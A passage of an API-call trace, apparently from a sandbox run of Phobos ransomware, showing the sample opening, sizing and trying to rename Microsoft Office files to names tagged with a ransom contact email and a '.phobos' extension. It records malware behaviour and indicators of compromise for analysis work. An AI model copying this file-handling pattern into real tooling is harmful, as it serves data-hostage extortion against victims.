(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\lyncmui.msi.16_lyncmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\lyncmui.msi.16_lyncmui.mcxml")) returned 0x220 [0154.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\lyncmui.msi.16_lyncmui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\lyncmui.msi.16_lyncmui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\lyncmui.msi.16_lyncmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\lyncmui.msi.16_lyncmui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.276] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\office32mui.msi.16_office32mui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\office32mui.msi.16_office32mui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.282] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=72384) returned 1 [0154.282] CloseHandle (hObject=0x58c) returned 1 [0154.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\office32mui.msi.16_office32mui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\office32mui.msi.16_office32mui.mcxml")) returned 0x220 [0154.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\office32mui.msi.16_office32mui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\office32mui.msi.16_office32mui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\office32mui.msi.16_office32mui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\office32mui.msi.16_office32mui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.282] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_officemui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_officemui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.283] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=416202) returned 1 [0154.283] CloseHandle (hObject=0x58c) returned 1 [0154.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_officemui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_officemui.mcxml")) returned 0x220 [0154.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_officemui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_officemui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_officemui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_officemui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.284] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_PostCommon.Office.MUI.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_postcommon.office.mui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.285] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1028) returned 1 [0154.285] CloseHandle (hObject=0x58c) returned 1 [0154.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_PostCommon.Office.MUI.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_postcommon.office.mui.mcxml")) returned 0x220 [0154.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_PostCommon.Office.MUI.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_postcommon.office.mui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_PostCommon.Office.MUI.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_postcommon.office.mui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.286] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\onenotemui.msi.16_onenotemui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\onenotemui.msi.16_onenotemui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.288] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=74554) returned 1 [0154.288] CloseHandle (hObject=0x57c) returned 1 [0154.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\onenotemui.msi.16_onenotemui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\onenotemui.msi.16_onenotemui.mcxml")) returned 0x220 [0154.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\onenotemui.msi.16_onenotemui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\onenotemui.msi.16_onenotemui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\onenotemui.msi.16_onenotemui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\onenotemui.msi.16_onenotemui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.292] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\outlookmui.msi.16_outlookmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\outlookmui.msi.16_outlookmui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.295] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=410314) returned 1 [0154.295] CloseHandle (hObject=0x58c) returned 1 [0154.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\outlookmui.msi.16_outlookmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\outlookmui.msi.16_outlookmui.mcxml")) returned 0x220 [0154.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\outlookmui.msi.16_outlookmui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\outlookmui.msi.16_outlookmui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\outlookmui.msi.16_outlookmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\outlookmui.msi.16_outlookmui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.296] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\projectmui.msi.16_projectmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\projectmui.msi.16_projectmui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.296] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=107740) returned 1 [0154.297] CloseHandle (hObject=0x58c) returned 1 [0154.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\projectmui.msi.16_projectmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\projectmui.msi.16_projectmui.mcxml")) returned 0x220 [0154.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\projectmui.msi.16_projectmui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\projectmui.msi.16_projectmui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\projectmui.msi.16_projectmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\projectmui.msi.16_projectmui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.297] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\Proof.Culture.msi.16_proof.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\proof.culture.msi.16_proof.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.301] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=69780) returned 1 [0154.301] CloseHandle (hObject=0x57c) returned 1 [0154.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\Proof.Culture.msi.16_proof.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\proof.culture.msi.16_proof.mcxml")) returned 0x220 [0154.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\Proof.Culture.msi.16_proof.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\proof.culture.msi.16_proof.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\Proof.Culture.msi.16_proof.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\proof.culture.msi.16_proof.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.302] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\publishermui.msi.16_publishermui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\publishermui.msi.16_publishermui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.303] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=240908) returned 1 [0154.303] CloseHandle (hObject=0x57c) returned 1 [0154.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\publishermui.msi.16_publishermui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\publishermui.msi.16_publishermui.mcxml")) returned 0x220 [0154.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\publishermui.msi.16_publishermui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\publishermui.msi.16_publishermui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\publishermui.msi.16_publishermui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\publishermui.msi.16_publishermui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.303] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.306] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2122172) returned 1 [0154.306] CloseHandle (hObject=0x57c) returned 1 [0154.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml")) returned 0x220 [0154.306] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0154.306] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml")) returned 0 [0154.306] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\Proof.Culture.msi.16_proof.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\es-es\\proof.culture.msi.16_proof.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.307] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=86930) returned 1 [0154.307] CloseHandle (hObject=0x57c) returned 1 [0154.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\Proof.Culture.msi.16_proof.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\es-es\\proof.culture.msi.16_proof.mcxml")) returned 0x220 [0154.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\Proof.Culture.msi.16_proof.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\es-es\\proof.culture.msi.16_proof.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\Proof.Culture.msi.16_proof.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\es-es\\proof.culture.msi.16_proof.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.307] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\Proof.Culture.msi.16_proof.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\fr-fr\\proof.culture.msi.16_proof.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.308] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=86646) returned 1 [0154.308] CloseHandle (hObject=0x57c) returned 1 [0154.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\Proof.Culture.msi.16_proof.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\fr-fr\\proof.culture.msi.16_proof.mcxml")) returned 0x220 [0154.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\Proof.Culture.msi.16_proof.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\fr-fr\\proof.culture.msi.16_proof.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\Proof.Culture.msi.16_proof.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\fr-fr\\proof.culture.msi.16_proof.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.308] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Access.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\access.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.310] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1058170) returned 1 [0154.310] CloseHandle (hObject=0x57c) returned 1 [0154.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Access.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\access.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Access.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\access.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Access.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\access.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.310] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\DCF.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\dcf.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.311] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=602774) returned 1 [0154.311] CloseHandle (hObject=0x57c) returned 1 [0154.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\DCF.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\dcf.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\DCF.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\dcf.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\DCF.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\dcf.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.311] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.312] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2217198) returned 1 [0154.312] CloseHandle (hObject=0x57c) returned 1 [0154.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.313] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0154.314] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml")) returned 0 [0154.314] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 